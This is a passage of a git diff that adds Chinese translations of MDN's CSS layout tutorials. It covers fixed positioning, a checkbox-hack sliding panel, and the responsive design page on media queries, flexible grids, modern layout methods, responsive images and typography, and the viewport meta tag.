id="一个固定位置的列表消息盒子">在我们的第二个例子中,我们将会采用我们的第一个例子——我们的消息盒子——把她加到一个满的网页之中去。但是不仅仅是这样——我们将固定她的位置,以便于他能待在浏览器窗口的同一个位置。当主要内容滚动时,这个消息盒子将会待在屏幕的同一个位置。完成的例子:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13364/fixed-info-box.png" style="border-style: solid; border-width: 1px; display: block; height: 585px; margin: 0px auto; width: 1118px;"></p> + +<div class="note"> +<p><strong>注意</strong>:你可以点击<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/fixed-info-box.html">蓝字</a>预览完成后的效果,看看哪些部分是你在这篇文章里你要制作的。</p> +</div> + +<p>在开始的时候,你可以使用第一部分中完成的例子,或者从我们的Github仓库中拷贝 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">info-box.html</a> 到本地。</p> + +<h3 id="添加HTML">添加HTML </h3> + +<p>首先,我们需要一些额外的内容在当前的主内容中。添加下列{{htmlelement("section")}} 在你的 {{htmlelement("body")}} 标签之中,放在在已存在的部分之中:</p> + +<pre class="brush: html"><section class="fake-content"> + <h1>Fake content</h1> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> +</section></pre> + +<div class="note"> +<p><strong>注意</strong>:你可以随意更改假的内容,替换为你想要的真的内容。</p> +</div> + +<h3 id="更改存在的CSS">更改存在的CSS</h3> + +<p>接下来我们需要对之前的 CSS 进行一些小修改,让消息盒子放置和定位更好。删除margin: 0 auto (不需要居中显示),添加fixed定位;调整top 属性把它粘在浏览器的视域。</p> + +<p>它应该看起来像下面这样:</p> + +<pre class="brush: css">.info-box { + width: 450px; + height: 400px; + position: fixed; + top: 0; +}</pre> + +<h3 id="对主内容样式设计">对主内容样式设计</h3> + +<p>对于这个例子来说唯一剩下的事情就是给主内容提供一些样式设计。添加下面的规则到你剩下的 CSS 的下面:</p> + +<pre class="brush: css">.fake-content { + background-color: #a60000; + color: white; + padding: 10px; + height: 2000px; + margin-left: 470px; +}</pre> + +<p>开始我们给这个内容和消息盒子面板一样的背景颜色,颜色,内边距。然后给他一个大的margin-left使他移动到右边,为消息盒子在左边腾出位置,以便于各个部分不重叠。</p> + +<p>这标志着第二个例子的结束;我们希望你能感到第三个例子,完全是因为兴趣。</p> + +<h2 id="一个滑动隐藏的面板_2">一个滑动隐藏的面板</h2> + +<p id="一个滑动隐藏的面板">最后一个我们在这里介绍的例子是通过按图标使面板滑动出现或者消失——就像前面提到的,这种场景在移动端的布局很流行,因为移动端的屏幕很小,所以你不希望使用大部分界面来显示一个有用的内容而是用消息面板或者菜单代替。</p> + +<p>我们完工后的例子长这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13366/hidden-sliding-panel.png" style="border-style: solid; border-width: 1px; display: block; height: 521px; margin: 0px auto; width: 950px;"></p> + +<div class="note"> +<p><strong>注意</strong>:你可以点击<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/hidden-info-panel.html">蓝字</a>预览完成后的效果,仔细看看哪些部分是你在这篇文章里你要制作的。</p> +</div> + +<p>在一开始,老规矩在我们的Githib代码仓库拷贝<a href="https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/hidden-info-panel.html">hideen-info-panel-start.html</a>(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel.html">源码</a>)。这个例子并没有用先前的例子,所以我们需要一个新的开始文件。让我们来仔细观察一下这个HTML文件:</p> + +<pre class="brush: css"><label for="toggle">❔</label> +<input type="checkbox" id="toggle"> +<aside> + + ... + +</aside></pre> + +<p>开始,我们看到了一个 {{htmlelement("label")}} 元素和 {{htmlelement("input")}} 元素——<code><label></code>元素普遍用来联系文字标签和表单,目的是能更好的理解表单(允许屏幕阅读器用户查看表单元素的描述)。这里通过<code>for</code>属性绑定<code>id</code>到了<code><input></code>标签的checkbox元素。</p> + +<div class="note"> +<p><strong>注意</strong>:我们已经设置了一个特殊的问题标记特性到我们的HTML中,来当作我们的信息图标——这代表着这个按钮将可以按下显示或隐藏面板。</p> +</div> + +<p>现在我们将这些元素用于稍微不同的目的——另一个 <code><label></code> 标签有用的副作用使你能通过点击checkbox的label标签来选择这个checkbox,就好像点击了这个checkbox自己一样。这就会实现有名的 <a href="https://css-tricks.com/the-checkbox-hack/">checkbox hack</a> 技术,可以提供无 JavaScript 的方法来通过按钮来控制一个元素。我们将通过其他两个元素控制 {{htmlelement("aside")}} 元素。(为了简洁起见,我们已将其内容从上述代码列表中删除)。</p> + +<p>在下面的部分我们将解释这一切如何运作。</p> + +<h3 id="设置表单元素样式">设置表单元素样式</h3> + +<p>首先让我们处理表单元素 - 在 {{htmlelement("style")}} 标签之间添加以下CSS:</p> + +<pre class="brush: css">label[for="toggle"] { + font-size: 3rem; + position: absolute; + top: 4px; + right: 5px; + z-index: 1; + cursor: pointer; +} + +input[type="checkbox"] { + position: absolute; + top: -100px; +}</pre> + +<p>第一条规则样式化 <code><label></code> 标签;我们:</p> + +<ul> + <li>设置更大的 {{cssxref("font-size")}} 使图标更大更美观。</li> + <li>设置 {{cssxref("position")}} 为 <code>absolute</code>,使用 {{cssxref("top")}} 属性和 {{cssxref("right")}} 属性来让他能很合适的位于右上角。</li> + <li>设置其 {{cssxref("z-index")}} 为1——因此当信息面板被赋予样式和显示的时候,不会覆盖我们的图标;相反图标依然会位于最上层能够再次被按下来隐藏信息平板。</li> + <li>使用 {{cssxref("cursor")}} 属性来改变鼠标的指针,当鼠标悬浮在图标上面的时候变成一个手形指针(就像你看到的当悬浮在链接上一样),作为一个额外的可视化线索告诉用户这个图标可以做一些有趣的事情。</li> +</ul> + +<p>第二条规则是在实际的 <code><input></code> 元素的checkbox 上设置{{cssxref("position")}} 属性为 <code>absolute</code>,并从屏幕上方隐藏掉它,我们并不希望在我们的用户界面里看到它。</p> + +<h3 id="设置面板的样式">设置面板的样式</h3> + +<p>现在是时候为实际的滑动面板设计风格了。在你的css底部添加下列规则:</p> + +<pre class="brush: css">aside { + background-color: #a60000; + color: white; + + width: 340px; + height: 98%; + padding: 10px 1%; + + position: fixed; + top: 0; + right: -370px; + + transition: 0.6s all; +}</pre> + +<p>这里有很多项——让我们一点一点讨论:</p> + +<ul> + <li>首先,我们在信息盒子中设置了一些简单的 {{cssxref("background-color")}} 和 {{cssxref("color")}}。</li> + <li>然后,我们在面板上设置一个固定的 {{cssxref("width")}} ,让它的 {{cssxref("height")}} 充满整个浏览器窗口的视口。</li> + <li>我们同样包括一些 {{cssxref("padding")}} 来组成我们想要的总的高度和宽度的值(如果我们没有设置 <code>box-sizing: border-box;</code> ,那就很有必要,正如这个例子)</li> + <li>然后,我们在面板上设置 {{cssxref("position")}}<code>: fixed;</code>,即使页面的内容在滚动,也总是显示在同一个位置。我们设置 {{cssxref("top")}} 属性,使其粘在视口顶部,设置 {{cssxref("right")}} 属性使其默认情况下位于屏幕的右边。</li> + <li>最后我们在元素上设置 {{cssxref("transition")}} 属性,Transitions是一个有意思的特性,允许你在状态改变的时候平滑的过渡,而不是粗暴的“开”或“关”。在这个例子中我们尝试在checkbox被选中时让面板平滑的滚动。(或者换句话说,当问题标记图标被点击以后——记住,点击 <code><label></code> 标签也会选择相对应的checkbox!我们已经告诉你这是一种hack了)你也将会学到更多……</li> +</ul> + +<h3 id="设置选择后的状态">设置选择后的状态</h3> + +<p>这是最后要添加的一点 CSS ——把这些放到你的 CSS 底部:</p> + +<pre class="brush: css">input[type=checkbox]:checked + aside { + right: 0px; +}</pre> + +<p>这里的选择器是复杂的——我们选择与 <code><input></code> 元素邻接的 <code><aside></code> 元素,但是仅仅在它被选择时(请注意使用 {{cssxref(":checked")}} 伪类来实现此目的),在这种情况下,我们将 <code><aside></code> 的 {{cssxref("right")}} 属性设置为0px,会造成面板再次出现在屏幕上(由于过渡属性会平滑的出现)。再一次点击这个标签会取消选中checkbox,面板将会跟着再一次消失。</p> + +<p>所以你有 ——一个相当巧妙的避免使用JavaScript来创建一个切换按钮效果方式。 这将在IE9及以上版本中起作用(平滑过渡将在IE10及更高版本中起作用)。这种效果确实有一些问题 ——这是有点滥用表单元素(它们不是为了这个目的),并且在可访问性方面效果不是很好——标签在默认情况下不可聚焦,并且表单元素的非语义使用可能会导致屏幕朗读器出现问题。 JavaScript和链接或按钮可能更合适,但这样的实验仍然很有趣。</p> + +<h2 id="总结">总结</h2> + +<p>这样完成了我们对定位的关注——现在,你应该理解基本机制的工作原理,同样理解了怎样应用这些知识去构建一些有趣的用户界面功能,不要由于你还未完全理解所有的知识而担心——定位是一个相当高级的话题,你可以随时读这篇文章来帮助你的理解。下一个主题我们将转向Flexbox。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Practical positioning examples</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Grids">Grids</a></li> +</ul> diff --git a/files/zh-cn/learn/css/css_layout/responsive_design/index.html b/files/zh-cn/learn/css/css_layout/responsive_design/index.html new file mode 100644 index 0000000000..50f16d2923 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/responsive_design/index.html @@ -0,0 +1,324 @@ +--- +title: 响应式设计 +slug: Learn/CSS/CSS_layout/Responsive_Design +translation_of: Learn/CSS/CSS_layout/Responsive_Design +--- +<div>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</div> + +<p>早年设计Web时,页面是以适配特定的屏幕大小为考量创建的。如果用户正在使用比设计者考虑到的更小或者更大的屏幕,那么结果从多余的滚动条,到过长的行和没有被合理利用的空间,不一而足。随着人们使用的屏幕尺寸的种类越来越多,出现了响应式网页设计的概念(<em>responsive web design,RWD</em>),RWD指的是允许Web页面适应不同屏幕宽度因素等,进行布局和外观的调整的一系列实践。这是改变我们设计多设备网页的方式的思想,在这篇文章里,我们将会帮你理解掌握它时所需知道的主要技能。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>HTML基础(学习<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>),以及对CSS工作方式的理解(学习<a href="/en-US/docs/Learn/CSS/First_steps">CSS first steps</a>和<a href="/en-US/docs/Learn/CSS/Building_blocks">CSS building blocks</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解响应式设计的基础概念以及历史</td> + </tr> + </tbody> +</table> + +<h2 id="历史上的网站布局">历史上的网站布局</h2> + +<p>在历史上的某个时刻,设计网站时,你有两个选择:</p> + +<ul> + <li>你可以创建一个“液态”站点,它会拉伸以充满整个浏览器视窗;</li> + <li>或者是一个“固定宽度”站点,它有一个以像素计的固定尺寸。</li> +</ul> + +<p>这两种途径会倾向于导致它的表现只有在设计者的屏幕上才是最佳的!液态站点导致了小屏幕上的设计会挤成一团(如下所示),以及大屏幕上难以阅读的很长的行长度。</p> + +<figure><img alt="A layout with two columns squashed into a mobile size viewport." src="https://mdn.mozillademos.org/files/16834/mdn-rwd-liquid.png" style="display: block; height: 406px; width: 300px;"> +<figcaption></figcaption> +</figure> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>看一下这个简单的流式布局:<a href="https://mdn.github.io/css-examples/learn/rwd/liquid-width.html">示例</a>,<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/liquid-width.html">源代码</a>。当查看示例时,来回拖拽你的浏览器窗口,改变其大小,看下不同尺寸下的显示情况。</p> +</div> + +<p>固定宽度站点的一个可能的后果是,在比站点更窄的屏幕上会出现一个水平滚动条(如下所示),在大屏幕上的设计边缘还会有许多空白。</p> + +<figure><img alt="A layout with a horizontal scrollbar in a mobile viewport." src="https://mdn.mozillademos.org/files/16835/mdn-rwd-fixed.png" style="display: block; height: 411px; width: 300px;"> +<figcaption></figcaption> +</figure> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>看下这个简单的固定宽度布局:<a href="https://mdn.github.io/css-examples/learn/rwd/fixed-width.html">示例</a>,<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/fixed-width.html">源代码</a>,重新观察一下你调整浏览器窗口大小后的结果。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>上面的截屏是在火狐开发者工具的<a href="/en-US/docs/Tools/Responsive_Design_Mode">响应式设计模式</a>中截取的。</p> +</div> + +<p>随着移动Web在早期的功能手机上开始成为现实,希望拥抱移动端的公司普遍希望为他们的网站创建一个有着不同的网址的移动版本(大多是像<em>m.example.com</em>或者<em>example.mobi</em>这类)。这意味着一个网站需要开发两个分开的版本,而且要保持时效性。</p> + +<p>除此以外,这些移动网站的体验经常缩水。由于移动设备变得更加强大,足以显示完整的网站,对于那些被困在移动版网站的移动端用户来说,这是很折磨人的,他们因此也没法获取他们知道在支持所有功能的桌面版网站上能找到的信息。</p> + +<h2 id="响应式设计之前的灵活布局">响应式设计之前的灵活布局</h2> + +<p>人们开发了许多方式,尽力解决建设网站时使用液态和固定宽度的方式所带来的弊端。2004年,Cameron Adams写了一篇题为《<a href="http://www.themaninblue.com/writing/perspective/2004/09/21/">Resolution dependent layout</a>》的帖子,描述了一种可以创造适应多种屏幕分辨率的设计的方式。这种方式需要JavaScript来探测屏幕的分辨率,载入恰当的CSS。</p> + +<p>Zoe Mickley Gillenwater深刻影响了<a href="http://zomigi.com/blog/voices-that-matter-slides-available/">她的著作</a>,在里面描述并标准化了可变站点建立的不同方式,试图在充满屏幕和完全保持固定尺寸之间找到最佳平衡。</p> + +<h2 id="响应式设计">响应式设计</h2> + +<p>“响应式设计”这个词是<a href="https://alistapart.com/article/responsive-web-design/">Ethan Marcotte在2010年首度提出的</a>,他将其描述为三种技术的混合使用。</p> + +<ol> + <li>第一个是液态网格,这早先已由Gillenwater进行探讨,可以在Marcotte的文章《<a href="https://alistapart.com/article/fluidgrids/">Fluid Grids</a>》(出版于2009年的《A List Apart》上)中读到。</li> + <li>第二个是<a href="http://unstoppablerobotninja.com/entry/fluid-images">液态图像</a>的理念。通过使用相当简单的将设置<code>max-width</code>属性设置为<code>100%</code>的技术,图像可以在包含它们的列变得比图像原始尺寸窄的时候,缩放得更小,但总不会变得更大。这使得图像可以被缩放,以被放到一个灵活尺寸的列,而不是溢出出去,同时也不会在列宽于图像的时候,使图像变得太大以至于画质变得粗糙。</li> + <li>第三个关键的组件是<a href="/en-US/docs/Web/CSS/Media_Queries">媒体查询</a>。媒体查询使以往Cameron Adams探讨过的、由JavaScript实现的布局类型切换,可以只使用CSS实现。和所有尺寸的屏幕都使用一种布局不同的是,布局是可以改变的:侧栏可以在小屏幕上重新布局,而替代用的导航栏也可以显示出来。</li> +</ol> + +<p>需要你理解的很重要的一点是<strong>响应式Web设计不是单独的技术</strong>,它是描述Web设计的一种方式、或者是一组最佳实践的一个词,它是用来建立可以<strong>响应</strong>查看内容的设备的样式的一个词。在Marcotte's原来的探索中,这意味着灵活网格(使用float)和媒体查询,但是在这篇文章写就的几乎十年以后,Web的响应式工作已经成为了默认做法。现代的CSS布局方式基本上就是响应式的,而且我们在Web平台上内置了新的东西,使得设计响应式站点变得容易。</p> + +<p>这篇文章的余下部分会为你指出,在建立响应式站点的时候,你可能会用到的各式Web平台的特色功能。</p> + +<h2 id="媒介查询">媒介查询</h2> + +<p>响应式设计仅仅是因为媒介查询才新兴起来的。媒介查询第三级规范已经在2009年成为了候选推荐,这意味着它可视为准备好在浏览器中开始支持了。媒介查询允许我们运行一系列测试,例如用户的屏幕是否大于某个宽度或者某个分辨率,并将CSS选择性地适应用户的需要应用在样式化页面上。</p> + +<p>例如,下面的媒体查询进行测试,以知晓当前的Web页面是否被展示为屏幕媒体(也就是说不是印刷文档),且视口至少有800像素宽。用于<code>.container</code>选择器的CSS将只会在这两件前提存在的情况下应用。</p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 800px) { + .container { + margin: 1em 2em; + } +} </code> +</pre> + +<p>你可以在一张样式表上加入多条媒体查询,调整整个页面或者部分页面以达到适应各式屏幕尺寸的最佳效果。媒体查询,以及样式改变时的点,被叫做<em>断点</em>(breakpoints)。</p> + +<p>使用媒体查询时的一种通用方式是,为窄屏设备(例如移动设备)创建一个简单的单栏布局,然后检查是否是大些的屏幕,在你知道你有足够容纳的屏幕宽度的时候,开始采用一种多栏的布局 。这经常被描述为<strong>移动优先</strong>设计。</p> + +<p>在MDN文档中的<a href="/en-US/docs/Web/CSS/Media_Queries">媒体查询</a>中了解更多</p> + +<h2 id="灵活网格">灵活网格</h2> + +<p>响应式站点不只是在断点之间改变它们的布局,它们是建立在灵活网格上的。一个灵活网格意味着你不需要适配每个可能使用的设备尺寸,然后为其建立一个精确到像素级的适配布局。那种方式在现存有如此多种不同大小设备的前提下是不可能实现的,比如至少在台式机上,人们并不总是让他们的浏览器窗口最大化的。</p> + +<p>使用灵活网格,你只需要加进去一个断点,在内容看起来不齐整的时候改变设计。例如如果一行随着屏幕大小增加而增长得不可读的长,或者是一个盒子在变窄时把每行的两个单词挤到一起。</p> + +<p>早年间进行响应式设计的时候,我们唯一的实现布局的选项是使用<a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">float</a>。灵活浮动布局是这样实现的,让每个元素都有一个作为宽度的百分数,而且确保整个布局的和不会超过100%。在他对于液态网格文章的原文中,Marcotte详细描述了一种布局的法则,通过使用像素并把布局转化为百分数的方式设计。</p> + +<pre class="notranslate"><code>target / context = result </code> +</pre> + +<p>例如如果我们的预期栏尺寸为60像素,而且它所在的上下文(或者容器)为960像素,我们在将零点二的空间移动到右边以后,用960去除60,得到我们能够使用在我们的CSS上的值。</p> + +<pre class="brush: css notranslate"><code>.col { + width: 6.25%; /* 60 / 960 = 0.0625 */ +} </code> +</pre> + +<p>这种方式将会在今天整个Web上的许多地方上看到,而且它被我们的<a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy layout methods</a>一文中的布局一节中记载。可能你将会在工作中遇到使用这种方式的站点,所以有必要理解它,即使是在你不用建立一个使用浮动基础的灵活网格的情况下。</p> + +<p>下面的例子阐释了一个使用媒体查询和灵活网格的简单响应式设计。在窄屏幕上,布局将盒子堆叠在另一个的上面:</p> + +<figure><img alt="A mobile view of the layout with boxes stacked on top of each other vertically." src="https://mdn.mozillademos.org/files/16836/mdn-rwd-mobile.png" style="display: block; height: 407px; width: 300px;"> +<figcaption></figcaption> +</figure> + +<p>在宽些的屏幕上,它们变成了两列:</p> + +<figure><img alt="A desktop view of a layout with two columns." src="https://mdn.mozillademos.org/files/16837/mdn-rwd-desktop.png" style="display: block; height: 217px; width: 600px;"> +<figcaption></figcaption> +</figure> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>你可以在GitHub上找到此示例的<a href="https://mdn.github.io/css-examples/learn/rwd/float-based-rwd.html">实时示例</a>和<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/float-based-rwd.html">源代码</a>。</p> +</div> + +<h2 id="现代布局技术">现代布局技术</h2> + +<p>现代布局方式,例如<a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">多栏布局</a>、<a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">伸缩盒</a>和<a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">网格</a>默认是响应式的。它们都假设你在尽力创建一个可伸缩网格,而且给了你更容易这样做的方式。</p> + +<h3 id="多个列">多个列</h3> + +<p>这些布局方式中最老的一个是多个列,即当你指定一个<code>column-count</code>的时候,这意指你希望把你的内容分成多少列。浏览器之后会算出这些列的大小,这是一个随着屏幕尺寸变化的尺寸。</p> + +<pre class="brush: css notranslate"><code>.container { + column-count: 3; +} </code> +</pre> + +<p>如果你却去指定<code>column-width</code>的话,你是在指定一个<em>最小</em>宽度。浏览器会尽可能多数量地创建这一宽度的列,只要它们可以恰当地放进容器里面,然后将所有列之间的剩余空间共享出去。因而列的数量会随着空间的多少而改变。</p> + +<pre class="brush: css notranslate"><code>.container { + column-width: 10em; +} </code> +</pre> + +<h3 id="伸缩盒">伸缩盒</h3> + +<p>在伸缩盒中,初始的行为是,弹性的物件将参照容器里面的空间的大小,缩小和分布物件之间的空间。通过更改<code>flex-grow</code>和 <code>flex-shrink</code>的值,你可以指示在物件遇到周围有更多或者更少的空间的情况下,你所期望的物件表现。</p> + +<p>在下面的示例中,和布局专题的<a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox#Flexible_sizing_of_flex_items">Flexbox: Flexible sizing of flex items</a>中所描述的那样,使用了<code>flex: 1</code>的简写,可伸缩物件每个将会占据一份可伸缩容器中相等大小的空间。</p> + +<pre class="brush: css notranslate"><code>.container { + display: flex; +} + +.item { + flex: 1; +} </code> +</pre> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>作为一个示例,我们已经重构了上面的简单响应式布局,这次我们用了伸缩盒。你可以看看我们是怎么样才不再需要使用奇怪的百分数值来计算列的尺寸的:<a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">示例</a>、<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">源代码</a>。</p> +</div> + +<h3 id="CSS网格">CSS网格</h3> + +<p>在CSS网格布局中,<code>fr</code>单位许可了跨网格轨道可用空间的分布。下面的示例创建了一个有着3个大小为<code>1fr</code>的轨道的网格容器。这会创建三个列轨道,每个占据了容器中可用空间的一部分。你可以在<a href="/en-US/docs/Learn/CSS/CSS_layout/Grids#Flexible_grids_with_the_fr_unit">Flexible grids with the fr unit</a>下的学习布局网格专题了解更多和这一方式相关的信息。</p> + +<pre class="brush: css notranslate"><code>.container { + display: grid; + grid-template-columns: 1fr 1fr 1fr; +} </code> +</pre> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>网格布局版本的代码要更简单,因为我们可以在.wrapper上定义列<a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">:示例</a>,<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">源代码</a>。</p> +</div> + +<h2 id="响应式图像">响应式图像</h2> + +<p>最简单的处理响应式图像的方式是在Marcotte的早年的关于响应式设计的文章上所描述的那样。基本来说,你可以用一张有着所需最大尺寸的图像。然后缩放它。这仍然是今日所使用的一种方式,而且在大多数样式表里面,你在某些地方可以找到下面的CSS:</p> + +<pre class="brush: css notranslate"><code>img { + max-width: 100%: +} </code> +</pre> + +<p>这种方式有显然的弊端。图像有可能会显示得比它的原始尺寸小很多,以至于浪费带宽——一个移动端用户会下载几倍于他们在浏览器窗口中实际看到的大小的图像。此外,你可能不想在移动端和桌面端有相同的图像宽高比例。例如,在移动端,方形图像的表现会很好,但是在桌面端显示同样的内容则应用宽图像。或者,认识到移动端更小尺寸的图像的你也许会希望同时展示一张不同的图像,一张在小一点的屏幕上更容易理解的图像。这些东西不能简单通过缩放图像解决。</p> + +<p>响应式图像,使用了{{htmlelement("picture")}}元素和{{htmlelement("img")}} <code>srcset</code>和<code>sizes</code> 特性,解决了这两个问题。你可以提供附带着“提示”(描述图像最适合的屏幕尺寸和分辨率的元数据)的多种尺寸,浏览器将会选择对设备最合适的图像,以确保用户下载尺寸适合他们使用的设备的图像。</p> + +<p>你也可以给用于不同尺寸的图像做“艺术指导”,为不同的屏幕尺寸提供不同的图像裁切或者完全不同的图像。</p> + +<p>你可以在MDN这里的学习HTML一节中找到详细的<a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图像指南</a>。</p> + +<h2 id="响应式排版">响应式排版</h2> + +<p>在早期的工作没有考虑的一个响应式设计的元素是响应式排版的理念。本质上讲,这描述了根据屏幕真实使用范围的多少,在媒体查询的同时改变字体大小。</p> + +<p>在本例子中,我们想讲我们的一级标题设置为<code>4rem</code>,也就是说它将会有我们的基础字体的四倍大。这真的是个很大的标题!我们只想在大些的屏幕上有这么个超大的标题,那我们先弄个小点的标题,再使用媒体查询,在我们知道用户使用至少<code>1200px</code>的屏幕的时候,拿大些的尺寸覆写它。</p> + +<pre class="brush: css notranslate"><code>html { + font-size: 1em; +} + +h1 { + font-size: 2rem; +} + +@media (min-width: 1200px) { + h1 { + font-size: 4rem; + } +} </code> +</pre> + +<p>我们已经编辑了我们在上面的响应式网格示例,让它同时包含了使用了圈出方式的响应式类型。你也可以看下随着布局变为两栏,标题是怎样转换大小的。</p> + +<p>移动端,标题变小了:</p> + +<figure><img alt="A stacked layout with a small heading size." src="https://mdn.mozillademos.org/files/16838/mdn-rwd-font-mobile.png" style="display: block; height: 407px; width: 300px;"> +<figcaption></figcaption> +</figure> + +<p>但在桌面端,我们看到了大点的标题:</p> + +<figure><img alt="A two column layout with a large heading." src="https://mdn.mozillademos.org/files/16839/mdn-rwd-font-desktop.png" style="display: block; height: 169px; width: 600px;"> +<figcaption></figcaption> +</figure> + +<div class="blockIndicator note"> +<p><strong>备注:</strong> 查看这个编排好的示例:<a href="https://mdn.github.io/css-examples/learn/rwd/type-rwd.html">示例</a>,<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-rwd.html">源代码</a>。</p> +</div> + +<p>正如这种排版方式展示的这样,你不需要让媒介查询只能改变页面的布局。它们也能用来调节每个元素,让它们在别的大小的屏幕上更加可用或者更具吸引力。</p> + +<h3 id="使用视口单位实现响应式排版">使用视口单位实现响应式排版</h3> + +<p>一个有趣的方式是使用视口单位<code>vw</code>来实现响应式排版。<code>1vw</code>等同于视口宽度的百分之一,即如果你用<code>vw</code>来设定字体大小的话,字体的大小将总是随视口的大小进行改变。</p> + +<pre class="brush: css notranslate">h1 { + font-size: 6vw; +}</pre> + +<p>问题在于,当做上面的事情的时候,因为文本总是随着视口的大小改变大小,用户失去了放缩任何使用<code>vw</code>单位的文本的能力。<strong>所以你永远都不要只用viewport单位设定文本。</strong></p> + +<p>这里有一个解决方法,它使用了<code><a href="/en-US/docs/Web/CSS/calc">calc()</a></code>,如果你将<code>vw</code>单位加到了使用固定大小(例如<code>em</code>或者<code>rem</code>)的值组,那么文本仍然是可放缩的。基本来说,是<code>vw</code>加在了放缩后的值上。</p> + +<pre class="brush: css notranslate">h1 { + font-size: calc(1.5rem + 3vw); +}</pre> + +<p>这就是说,我们只需要指定标题的字体大小一次,而不是为移动端设定它,然后再在媒介查询中重新定义它。字体会在你增加视口大小的时候逐渐增大。</p> + +<div class="blockIndicator note"> +<p>查看这种情况的一个编排好的示例: <a href="https://mdn.github.io/css-examples/learn/rwd/type-vw.html">示例</a>,<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-vw.html">源代码</a>。</p> +</div> + +<h2 id="视口元标签">视口元标签</h2> + +<p>如果你看看一张响应式页面的HTML源代码,你通常将会在文档的<code><head></code>看到下面的{{htmlelement("meta")}}标签。</p> + +<pre class="brush: html notranslate"><code><meta name="viewport" content="width=device-width,initial-scale=1"></code> +</pre> + +<p>这个元标签告诉移动端浏览器,它们应该将视口宽度设定为设备的宽度,将文档放大到其预期大小的100%,在移动端以你所希望的为移动优化的大小展示文档。</p> + +<p>为何需要这个?因为移动端浏览器倾向于在它们的视口宽度上说谎。</p> + +<p>这个元标签的存在,是由于原来iPhone发布以后,人们开始在小的手机屏幕上阅览网页,而大多数站点未对移动端做优化的缘故。移动端浏览器因此会把视口宽度设为960像素,并以这个宽度渲染页面,结果展示的是桌面布局的缩放版本。其他的移动端浏览器(例如谷歌安卓上的)也是这么做的。用户可以在站点中放大、移动,查看他们感兴趣的那部分,但是这看起来很不舒服。如果你不幸遇到了一个没有响应式设计的网站,今天你还会看到这种情况。</p> + +<p>麻烦的是,你的带断点和媒介查询的响应式设计不会在移动端浏览器上像预期那样工作。如果你有个窄屏布局,在480像素及以下的视口宽度下生效,但是视口是按960像素设定的,你将不会在移动端看到你的窄屏布局。通过设定<code>width=device-width</code>,你用设备的实际宽度覆写了苹果默认的<code>width=960px</code>,然后你的媒介查询就会像预期那样生效。</p> + +<p><strong>所以你应该在你的文档头部<em>总是</em>包含上面那行HTML。</strong></p> + +<p>和视口元标签一起,你可以使用另外几个设定,但大体说来,上面那行就是你想要使用的。</p> + +<ul> + <li><code>initial-scale</code>:设定了页面的初始缩放,我们设定为1。</li> + <li><code>height</code>:特别为视口设定一个高度。</li> + <li><code>minimum-scale</code>:设定最小缩放级别。</li> + <li><code>maximum-scale</code>:设定最大缩放级别。</li> + <li><code>user-scalable</code>:如果设为<code>no</code>的话阻止缩放。</li> +</ul> + +<p>你应该避免使用<code>minimum-scale</code>、<code>maximum-scale</code>,尤其是将<code>user-scalable</code>设为<code>no</code>。用户应该有权力尽可能大或小地进行缩放,阻止这种做法会引起访问性问题。</p> + +<div class="blockIndicator 